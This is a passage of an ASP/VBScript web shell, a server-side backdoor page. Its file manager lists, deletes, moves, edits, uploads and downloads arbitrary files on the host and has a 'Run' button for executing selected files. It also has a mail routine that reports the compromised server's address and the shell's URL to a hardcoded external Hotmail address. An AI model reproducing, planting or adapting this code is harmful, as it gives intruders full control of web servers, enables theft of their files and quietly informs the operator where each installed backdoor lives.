  1572.  <td align=left bgcolor="#494E56">Up</td>
  1573.  <td bgcolor="#494E56">&nbsp;</td>
  1574.  <td bgcolor="#494E56">&nbsp;</td>
  1575.  <td bgcolor="#494E56">&nbsp;</td>
  1576. </tr>
  1577. <%
  1578.         end if
  1579.         if intCount>0 then
  1580.             HtmlJsForm()
  1581. %>
  1582. <form name=theForm method=post action="<%=gURL%>">
  1583. <input type=hidden name=command value="">
  1584. <input type=hidden name=folder value="<%=targetPath%>">
  1585. <%
  1586.             for each item in objFolder.SubFolders
  1587.                 count=count+1
  1588.                 Response.Write "<tr>" & vbNewLine
  1589.                 Response.Write " <td bgcolor=#5B616A><font face='wingdings' class='ItemIconStyle'>&#48;</font>&nbsp;<a href=""javascript:Command('OpenFolder',"" & item.Name & "")"""
  1590.                 if Len(item.Name)>gMax then Response.Write " title=""" & item.Name & """"
  1591.                 Response.Write "><font color=#FFFFFF>" & FormatName(item.Name) & "</font></a></td>" & vbNewLine
  1592.                 Response.Write " <td align=right bgcolor=#5B616A>&nbsp;</td>" & vbNewLine
  1593.                 Response.Write " <td bgcolor=#5B616A>DIR</td>" & vbNewLine
  1594.                 Response.Write " <td  align=center bgcolor=#5B616A>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
  1595.                 Response.Write " <td bgcolor=#5B616A>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
  1596.                 Response.Write " <td bgcolor=#5B616A><input type=checkbox name=d value=""" & item.Name & """><input type=button value=Ren onclick=""Command('RenameFolder',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'><input type=button value=Attr onclick=""Command('ChangeAttributesFolder',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'></td>" & vbNewLine
  1597.                 Response.Write "</tr>" & vbNewLine
  1598.             next
  1599.             for each item in objFolder.Files
  1600.                 count=count+1
  1601.                 Response.Write "<tr>" & vbNewLine
  1602.                 Response.Write " <td bgcolor=#5B616A>&nbsp;<font face='wingdings 2' class='ItemIconStyle' size='4'>&#47;</font>&nbsp;<a href=""javascript:Command('Download',"" & item.Name & "&#34)"""
  1603.                 ext=FSO.GetExtensionName(addslash(targetPath) & item.Name)
  1604.                 re.IgnoreCase = true
  1605.                 re.Pattern = "^" & ext & ",|," & ext & ",|," & ext & "$"
  1606.                 if re.Test(lnkExt) then
  1607.                     Response.Write " title=""-> " & Server.Htmlencode(FindLink(addslash(targetPath) & item.Name)) & """"
  1608.                 elseif Len(item.Name)>gMax then
  1609.                     Response.Write " title=""" & item.Name & """"
  1610.                 end if
  1611.  
  1612.                 Response.Write "><font color='#CCCCCC'>" & FormatName(item.Name) & "</font></td>" & vbNewLine
  1613.                 Response.Write " <td align=right bgcolor=#5B616A>" & FormatSize(item.Size) & "</td>" & vbNewLine
  1614.                 Response.Write " <td bgcolor=#5B616A>" & item.Type & "</td>" & vbNewLine
  1615.                 Response.Write " <td align=center bgcolor=#5B616A>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
  1616.                 Response.Write " <td bgcolor=#5B616A>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
  1617.                 Response.Write " <td bgcolor=#5B616A><input type=checkbox name=f value=""" & item.Name & """ style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'><input type=button value=Ren onclick=""Command('RenameFile',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'><input type=button value=Attr onclick=""Command('ChangeAttributesFile',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'>"
  1618.  
  1619.                 if re.Test(editExt) then
  1620.                     Response.Write "<input type=button value=Edit onclick=""Command('Edit',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'>"
  1621.                 end if
  1622.                
  1623.                 if Lcase(ext)="zip" then
  1624.                     Response.Write "<input type=button value=Info onclick=""Command('ZipInfo',"" & item.Name & "")"" style='color: #999999; border-style: solid; border-width: 1; background-color: #494E56'>"
  1625.                 end if
  1626.  
  1627.                 Response.Write "</td>" & vbNewLine
  1628.                 Response.Write "</tr>" & vbNewLine
  1629.             next
  1630.             if count>0 then
  1631. %>
  1632. <tr>
  1633.  <td bgcolor="#494E56" colspan="5">&nbsp;</td>
  1634.  <td bgcolor="#494E56">
  1635.  <input type=checkbox name=allbox title="Select All" onclick="CheckAll()" value="ON">
  1636.  <input type=button value=Delete title="Delete Selected Item(s)" onclick="DoWork('Delete')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1637.  <input type=button value=Run title="Running Selected Item" onclick="DoWork('Exec')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1638.  </td>
  1639. </tr>
  1640. <%
  1641.             end if
  1642. %>
  1643. </table>
  1644. <%
  1645.         if count>1 then
  1646. %>
  1647. <p>
  1648. <table>
  1649. <tr><td>Copy selected item(s) to</td><td>
  1650.   <input type=text name=cp value="<%=Session("cp_dst")%>" size=50 onkeydown=" if (event.keyCode==13) theForm.cp_bt.click();" style="color: #FFFFFF; border-style: solid; border-width: 1; background-color: #494E56">
  1651.   <input type=button id=cp_bt value=Copy onclick="DoWork('Copy')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td></tr>
  1652. <tr><td>Move selected item(s) to</td><td>
  1653.   <input type=text name=mv value="<%=Session("mv_dst")%>" size=50 onkeydown=" if (event.keyCode==13) theForm.mv_bt.click();" style="color: #FFFFFF; border-style: solid; border-width: 1; background-color: #494E56">
  1654.   <input type="button" id=mv_bt value=Move onclick="DoWork('Move')" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"></td></tr>
  1655. </table>
  1656. <%
  1657.     end if
  1658. %>
  1659. </form>
  1660. </table>
  1661. <%
  1662.         end if
  1663.         set objFolder=nothing
  1664. %>
  1665. <form name=frmAddress method=post action="<%=gURL%>">
  1666. <input type=hidden name=command value=OpenFolder>
  1667. <b>Upload file(s) to:
  1668. <input type=text name=param value="<%=targetPath%>" size=60 style="color: #FFFFFF; border-style: solid; border-width: 1; background-color: #494E56">
  1669. <input type=submit value=Go style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1670. </form>
  1671. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=gURL%>">
  1672. <input type=hidden name=folder value="<%=targetPath%>">
  1673. File(s):
  1674. <input type=text name=max value=1 size=5 style="color: #FFFFFF; border-style: solid; border-width: 1; background-color: #494E56">
  1675. <input type=button value=# onclick="setid()" style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56"><br>
  1676. <table>
  1677. <tr>
  1678. <td id=upid>
  1679. </td>
  1680. </tr>
  1681. </table>
  1682. <input type=submit value=Upload style="color: #999999; border-style: solid; border-width: 1; background-color: #494E56">
  1683. </form>
  1684. <script>
  1685. setid();
  1686. function setid() {
  1687.     str='<br>';
  1688.     if (frmUpload.max.value<=0) frmUpload.max.value=1;
  1689.     for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+' style=background-color:#494E56;color:#FFFFFF;border-style:solid;border-width:1><br>';
  1690.     upid.innerHTML=str+'<br>';
  1691. }
  1692. </script>
  1693. <%
  1694.     end if
  1695. %>
  1696. <form name=frmFile method=post action="<%=gURL%>">
  1697. <input type=hidden name=command value="">
  1698. <input type=hidden name=param value="">
  1699. <input type=hidden name=folder value="<%=targetPath%>">
  1700. </form>
  1701. <script>frmAddress.param.focus()</script>
  1702. <%
  1703.     HtmlJsCommand()
  1704. end sub
  1705.  
  1706. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1707.  
  1708. sub Upload()
  1709.     dim objUpload,f,max,i,name,path,size,success
  1710.    
  1711.     HtmlHeader("")
  1712.    
  1713.     set objUpload=New clsUpload
  1714.  
  1715.     targetPath=objUpload.Fields("folder").Value
  1716.     max=objUpload.Fields("max").Value
  1717.  
  1718.     gMsg= "<b>U</b>pload..." & vbNewLine
  1719.  
  1720.     for i=1 to max
  1721.         name=objUpload.Fields("file" & i).FileName
  1722.         size=objUpload.Fields("file" & i).Length
  1723.         if (name<>"") and (size>0) then
  1724.             gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  1725.             path=addslash(targetPath) & name
  1726.             objUpload.Fields("file" & i).SaveAs path
  1727.             if FSO.FileExists(path) then
  1728.                 on error resume next
  1729.                 set f=FSO.GetFile(path)
  1730.                 if IsObject(f) then
  1731.                     if f.Size=size then success=true else success=false
  1732.                 end if
  1733.                 set f=nothing
  1734.             end if
  1735.             if success then  gMsg=gMsg & "success" else gMsg = gMsg & "fail"
  1736.         end if
  1737.     next
  1738.  
  1739.     set objUpload=nothing
  1740.  
  1741.     List()
  1742.     HtmlMode() 
  1743.     HtmlFooter()
  1744.     Destroy()
  1745. end sub
  1746.  
  1747. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1748.  
  1749. sub Download()
  1750.     dim oStream
  1751.     dim szFileName
  1752.     szFileName=addslash(Request.Form("folder")) & Request.form("Param")
  1753.     if FSO.FileExists(szFileName) then
  1754.         set oStream=Server.CreateObject("ADODB.Stream")
  1755.         oStream.Type=1
  1756.         oStream.Open
  1757.         on error resume next
  1758.         oStream.LoadFromFile(szFileName)
  1759.         if Err.Number=0 then
  1760.             Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
  1761.             Response.AddHeader "Content-Length", oStream.Size
  1762.             Response.ContentType="bad/type" 'yeu cau ie hien hop thoai save-as
  1763.             Response.BinaryWrite oStream.Read
  1764.         end if
  1765.         oStream.Close
  1766.         set oStream=nothing
  1767.     end if
  1768.     Destroy()
  1769. end sub
  1770.  
  1771. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1772.  
  1773.  
  1774.  
  1775. sub HtmlJsForm()
  1776. %>
  1777. <script>
  1778. function CheckAll() {
  1779.     var fmobj=document.theForm;
  1780.     for (var i=0; i<fmobj.elements.length;i++) {
  1781.         var e=fmobj.elements[i];
  1782.         if ((e.name!='allbox') && (e.type=='checkbox') && (!e.disabled)) {
  1783.             e.checked=fmobj.allbox.checked;
  1784.         }
  1785.     }
  1786.     if (fmobj.allbox.checked) {
  1787.         fmobj.allbox.title='Clear All';
  1788.     } else {
  1789.         fmobj.allbox.title='Select All';
  1790.     }
  1791. }
  1792.  
  1793. function DoWork(cmd) {
  1794.     var s;
  1795.     var fmobj=document.theForm;
  1796.     var total=0;
  1797.     for (var i=0; i<fmobj.elements.length; i++) {
  1798.         var e=fmobj.elements[i];
  1799.         if ((e.name!='allbox') && (e.type=='checkbox') && (e.checked)) total++;
  1800.     }
  1801.  
  1802.     if (total<1) return;
  1803.    
  1804.     s=(total>1)?'s':'';
  1805.  
  1806.     switch (cmd) {
  1807.         case "Delete":
  1808.             if (!confirm('Are you sure to delete ' + total + ' selected item' + s + ' ?')) return;
  1809.             break;
  1810.         case "Exec":
  1811.             if (!confirm('Do you want to run this files ?')) return;
  1812.             break;
  1813.         case "Move":
  1814.             var mv=fmobj.mv.value;
  1815.             var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  1816.             var re2=/^\s*:{1}[^\s]+/gi;
  1817.             if (mv=='') return;
  1818.             if ( re1.test(mv) || re2.test(mv) ){
  1819.                 if (!confirm('Are you sure to move ' + total + ' selected item' + s + ' to "' + mv + '" ?')) return;
  1820.             } else {
  1821.                 alert('Invalid path name !');
  1822.                 return;
  1823.             }
  1824.             break;
  1825.         case "Copy":
  1826.             var cp=fmobj.cp.value;
  1827.             var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  1828.             var re2=/^\s*:{1}[^\s]+/gi;
  1829.             if (cp=='') return;
  1830.             if ( re1.test(cp) || re2.test(cp) ) {
  1831.             } else {
  1832.                 alert('Invalid path name !');
  1833.                 return;
  1834.             }
  1835.             break;
  1836.         default:
  1837.             return;
  1838.     }
  1839.  
  1840.     fmobj.command.value=cmd;
  1841.     fmobj.submit();
  1842. }
  1843. </script>
  1844. </b>
  1845. <%
  1846. end sub
  1847.  
  1848. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1849.  
  1850. sub mailling()
  1851.   dim objMail
  1852.   set objMail=Server.CreateObject("CDONTS.NewMail")
  1853.   objMail.To="oixanh.muoi@hotmail.com"
  1854.   objMail.From="oixanh.muoi@hotmail.com"
  1855.   objMail.Subject=Request.ServerVariables("LOCAL_ADDR")
  1856.   objMail.Body= Request.ServerVariables("URL")
  1857.   objMail.Send
  1858.   set objMail=nothing
  1859. end sub
  1860.  
  1861. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1862.  
  1863.  
  1864. function abspath(path)
  1865.     if left(path,1)=":" then abspath=Server.MapPath(mid(path,2)) else abspath=FSO.GetAbsolutePathName(path)
  1866. end function
  1867.  
  1868. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1869.  
  1870. function addslash(path)
  1871.     if right(path,1)="\" then addslash=path else addslash=path & "\"
  1872. end function
  1873.  
  1874. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1875.  
  1876. function findroot(path)
  1877.     dim f
  1878.  
  1879.     set f=FSO.GetFolder(path)
  1880.  
  1881.     if f.IsRootFolder then
  1882.     else
  1883.         do until f.IsRootFolder
  1884.             set f=f.ParentFolder
  1885.         loop
  1886.     end if
  1887.     findroot=f.Path
  1888.     set f=nothing
  1889. end function
  1890.  
  1891. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1892.  
  1893. function isroot(path)
  1894.     dim f
  1895.     set f=FSO.GetFolder(path)
  1896.     isroot=f.IsRootFolder
  1897.     set f=nothing
  1898. end function
  1899.  
  1900. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1901.  
  1902. Function FindLink(szFileName)
  1903.     Dim WshShell, oLink
  1904.  
  1905.     Set WshShell=Server.CreateObject("WScript.Shell")
  1906.     Set oLink=WshShell.CreateShortcut(szFileName)
  1907.  
  1908.     FindLink=oLink.TargetPath
  1909.    
  1910.     Set oLink=Nothing
  1911.     Set WshShell=Nothing
  1912. End Function
  1913.  
  1914. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1915.  
  1916. Function FormatSize(intSize)
  1917.     If (intSize < 1024) Then
  1918.         FormatSize = intSize & " B"
  1919.     ElseIf (intSize < 1024*1024) Then
  1920.         FormatSize = FormatNumber(intSize/1024,2) & " KB"
  1921.     ElseIf (intSize < 1024*1024*1024) Then
  1922.         FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
  1923.     Else
  1924.         FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
  1925.     End If
  1926. End Function
  1927.  
  1928. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1929.  
  1930. Function FormatName(szName)
  1931.     FormatName = szName
  1932.     If gMax > 5 And Len(szName) > gMax Then FormatName = Left(szName,gMax-2) & "..."
  1933. End Function
  1934.  
  1935. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1936.  
  1937. function FormatDate(strDate)
  1938.     dim int12HourPart,strAMPM
  1939.     int12HourPart=DatePart("h",strDate) mod 12
  1940.     if int12HourPart=0 then int12HourPart=12
  1941.     if DatePart("h",strDate)>=12 then strAMPM="PM" else strAMPM="AM"
  1942.     FormatDate=Right("0"&DatePart("d",strDate),2) & "/" & Right("0"&DatePart("m",strDate),2) & "/" & DatePart("yyyy",strDate) & " " &  Right("0"&int12HourPart,2) & ":" & Right("0"&DatePart("n",strDate),2) & ":" & Right("0"&DatePart("s",strDate),2) & " " & strAMPM
  1943. end function
  1944.  
  1945. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1946.  
  1947. Function GetAttributes(intAttr)
  1948.     Dim strAttributes
  1949.     strAttributes=""
  1950.     If (intAttr And 1) > 0 Then strAttributes = "R"
  1951.     If (intAttr And 2) > 0 Then strAttributes=strAttributes & "H"
  1952.     If (intAttr And 4) > 0 Then strAttributes=strAttributes & "S"
  1953.     If (intAttr And 32) > 0 Then strAttributes=strAttributes & "A"
  1954.     If (intAttr And 2048) > 0 Then strAttributes=strAttributes & "C"
  1955.     if strAttributes="" then strAttributes="&nbsp;"
  1956.     GetAttributes=strAttributes
  1957. End Function
  1958.  
  1959. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1960.  
  1961. Class clsField
  1962.     Public Name
  1963.     Private mstrPath
  1964.     Public FileDir
  1965.     Public FileExt
  1966.     Public FileName
  1967.     Public ContentType
  1968.     Public Value
  1969.     Public BinaryData
  1970.     Public Length
  1971.     Private mstrText
  1972.  
  1973.     Public Property Get BLOB()
  1974.         BLOB = BinaryData
  1975.     End Property
  1976.  
  1977.     Public Function BinaryAsText()
  1978.         Dim lbinBytes
  1979.         Dim lobjRs
  1980.         If Length = 0 Then Exit Function
  1981.         If LenB(BinaryData) = 0 Then Exit Function
  1982.        
  1983.         If Not Len(mstrText) = 0 Then
  1984.             BinaryAsText = mstrText
  1985.             Exit Function
  1986.         End If
  1987.         lbinBytes = ASCII2Bytes(BinaryData)
  1988.         mstrText = Bytes2Unicode(lbinBytes)
  1989.         BinaryAsText = mstrText
  1990.     End Function
  1991.  
  1992.     Public Sub SaveAs(ByRef pstrFileName)
  1993.         Const adTypeBinary=1
  1994.         Const adSaveCreateOverWrite=2
  1995.         Dim lobjStream
  1996.         Dim lobjRs
  1997.         Dim lbinBytes
  1998.         If Length = 0 Then Exit Sub
  1999.         If LenB(BinaryData) = 0 Then Exit Sub
  2000.         Set lobjStream = Server.CreateObject("ADODB.Stream")
  2001.         lobjStream.Type = adTypeBinary
  2002.         Call lobjStream.Open()
  2003.         lbinBytes = ASCII2Bytes(BinaryData)
  2004.         Call lobjStream.Write(lbinBytes)
  2005.         On Error Resume Next
  2006.         Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  2007.         Call lobjStream.Close()
  2008.         Set lobjStream = Nothing
  2009.     End Sub
  2010.  
  2011.     Public Property Let FilePath(ByRef pstrPath)
  2012.         mstrPath = pstrPath
  2013.         If Not InStrRev(pstrPath, ".") = 0 Then
  2014.             FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  2015.             FileExt = UCase(FileExt)
  2016.         End If
  2017.         If Not InStrRev(pstrPath, "\") = 0 Then
  2018.             FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  2019.         End If
  2020.         If Not InStrRev(pstrPath, "\") = 0 Then
  2021.             FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  2022.         End If
  2023.     End Property
  2024.  
  2025.     Public Property Get FilePath()
  2026.         FilePath = mstrPath
  2027.     End Property
  2028.  
  2029.     Private Function ASCII2Bytes(ByRef pbinBinaryData)
  2030.         Const adLongVarBinary=205
  2031.         Dim lobjRs
  2032.         Dim llngLength
  2033.         Dim lbinBuffer
  2034.         llngLength = LenB(pbinBinaryData)
  2035.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  2036.         Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  2037.         Call lobjRs.Open()
  2038.         Call lobjRs.AddNew()
  2039.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  2040.         Call lobjRs.Update()
  2041.         lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  2042.         Call lobjRs.Close()
  2043.         Set lobjRs = Nothing
  2044.         ASCII2Bytes = lbinBuffer
  2045.     End Function
  2046.  
  2047.     Private Function Bytes2Unicode(ByRef pbinBytes)
  2048.         Dim lobjRs
  2049.         Dim llngLength
  2050.         Dim lstrBuffer
  2051.         llngLength = LenB(pbinBytes)
  2052.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  2053.         Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  2054.         Call lobjRs.Open()
  2055.         Call lobjRs.AddNew()
  2056.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  2057.         Call lobjRs.Update()
  2058.         lstrBuffer = lobjRs.Fields("BinaryData").Value
  2059.         Call lobjRs.Close()
  2060.         Set lobjRs = Nothing
  2061.         Bytes2Unicode = lstrBuffer
  2062.     End Function
  2063. End Class
  2064.  
  2065. '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2066.  
  2067. Class clsUpload
  2068.     Private mbinData
  2069.     Private mlngChunkIndex
  2070.     Private mlngBytesReceived
  2071.     Private mstrDelimiter
  2072.     Private CR
  2073.     Private LF
  2074.     Private CRLF
  2075.     Private mobjFieldAry()
  2076.     Private mlngCount
  2077.    
  2078.     Private Sub RequestData
  2079.         Dim llngLength
  2080.         mlngBytesReceived = Request.TotalBytes
  2081.         mbinData = Request.BinaryRead(mlngBytesReceived)
  2082.     End Sub
  2083.  
  2084.     Private Sub ParseDelimiter()
  2085.         mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  2086.     End Sub
  2087.  
  2088.     Private Sub ParseData()
  2089.         Dim llngStart
  2090.         Dim llngLength
  2091.         Dim llngEnd
  2092.         Dim lbinChunk
  2093.         llngStart = 1
  2094.         llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  2095.         While Not llngStart = 0
  2096.             llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  2097.             llngLength = llngEnd - llngStart
  2098.             lbinChunk = MidB(mbinData, llngStart, llngLength)
  2099.             Call ParseChunk(lbinChunk)
  2100.             llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  2101.         Wend
  2102.     End Sub
  2103.  
  2104.     Private Sub ParseChunk(ByRef pbinChunk)
  2105.         Dim lstrName
  2106.         Dim lstrFileName
  2107.         Dim lstrContentType
  2108.         Dim lbinData
  2109.         Dim lstrDisposition
  2110.         Dim lstrValue
  2111.         lstrDisposition = ParseDisposition(pbinChunk)
  2112.         lstrName = ParseName(lstrDisposition)
  2113.         lstrFileName = ParseFileName(lstrDisposition)
  2114.         lstrContentType = ParseContentType(pbinChunk)
  2115.         If lstrContentType = "" Then
  2116.             lstrValue = CStrU(ParseBinaryData(pbinChunk))
  2117.         Else
  2118.             lbinData = ParseBinaryData(pbinChunk)
  2119.         End If
  2120.         Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  2121.     End Sub
  2122.  
  2123.     Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  2124.         Dim lobjField
  2125.         ReDim Preserve mobjFieldAry(mlngCount)
  2126.         Set lobjField = New clsField
  2127.         lobjField.Name = pstrName
  2128.         lobjField.FilePath = pstrFileName              
  2129.         lobjField.ContentType = pstrContentType
  2130.         If LenB(pbinData) = 0 Then
  2131.             lobjField.BinaryData = ChrB(0)
  2132.             lobjField.Value = pstrValue
  2133.             lobjField.Length = Len(pstrValue)
  2134.         Else
  2135.             lobjField.BinaryData = pbinData
  2136.             lobjField.Length = LenB(pbinData)
  2137.             lobjField.Value = ""
  2138.         End If
  2139.         Set mobjFieldAry(mlngCount) = lobjField
  2140.         mlngCount = mlngCount + 1
  2141.     End Sub
  2142.  
  2143.     Private Function ParseBinaryData(ByRef pbinChunk)
  2144.         Dim llngStart
  2145.         llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  2146.         If llngStart = 0 Then Exit Function
  2147.         llngStart = llngStart + 4
  2148.         ParseBinaryData = MidB(pbinChunk, llngStart)
  2149.     End Function
  2150.  
  2151.     Private Function ParseContentType(ByRef pbinChunk)
  2152.         Dim llngStart
  2153.         Dim llngEnd
  2154.         Dim llngLength
  2155.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  2156.         If llngStart = 0 Then Exit Function
  2157.         llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  2158.         If llngEnd = 0 Then Exit Function
  2159.         llngStart = llngStart + 15
  2160.         If llngStart >= llngEnd Then Exit Function
  2161.         llngLength = llngEnd - llngStart
  2162.         ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  2163.     End Function
  2164.  
  2165.     Private Function ParseDisposition(ByRef pbinChunk)
  2166.         Dim llngStart
  2167.         Dim llngEnd
  2168.         Dim llngLength
  2169.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  2170.         If llngStart = 0 Then Exit Function
  2171.         llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  2172.         If llngEnd = 0 Then Exit Function
  2173.         llngStart = llngStart + 22
  2174.         If llngStart >= llngEnd Then Exit Function
  2175.         llngLength = llngEnd - llngStart
  2176.         ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  2177.     End Function
  2178.  
  2179.     Private Function ParseName(ByRef pstrDisposition)
  2180.         Dim llngStart
  2181.         Dim llngEnd
  2182.         Dim llngLength
  2183.         llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  2184.         If llngStart = 0 Then Exit Function
  2185.         llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  2186.         If llngEnd = 0 Then Exit Function
  2187.         llngStart = llngStart + 6
  2188.         If llngStart >= llngEnd Then Exit Function
  2189.         llngLength = llngEnd - llngStart
  2190.         ParseName = Mid(pstrDisposition, llngStart, llngLength)
  2191.     End Function
  2192. ' ------------------------------------------------------------------------------
  2193.     Private Function ParseFileName(ByRef pstrDisposition)
  2194.         Dim llngStart
  2195.         Dim llngEnd
  2196.         Dim llngLength
  2197.         llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  2198.         If llngStart = 0 Then Exit Function
  2199.         llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  2200.         If llngEnd = 0 Then Exit Function
  2201.         llngStart = llngStart + 10
  2202.         If llngStart >= llngEnd Then Exit Function
  2203.         llngLength = llngEnd - llngStart
  2204.         ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  2205.     End Function
  2206.  
  2207.     Public Property Get Count()
  2208.         Count = mlngCount
  2209.     End Property
  2210.  
  2211.     Public Default Property Get Fields(ByVal pstrName)
  2212.         Dim llngIndex
  2213.         If IsNumeric(pstrName) Then
  2214.             llngIndex = CLng(pstrName)
  2215.             If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  2216.                 Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  2217.                 Exit Property
  2218.             End If
  2219.             Set Fields = mobjFieldAry(pstrName)
  2220.         Else
  2221.             pstrName = LCase(pstrname)
  2222.             For llngIndex = 0 To mlngCount - 1
  2223.                 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  2224.                     Set Fields = mobjFieldAry(llngIndex)
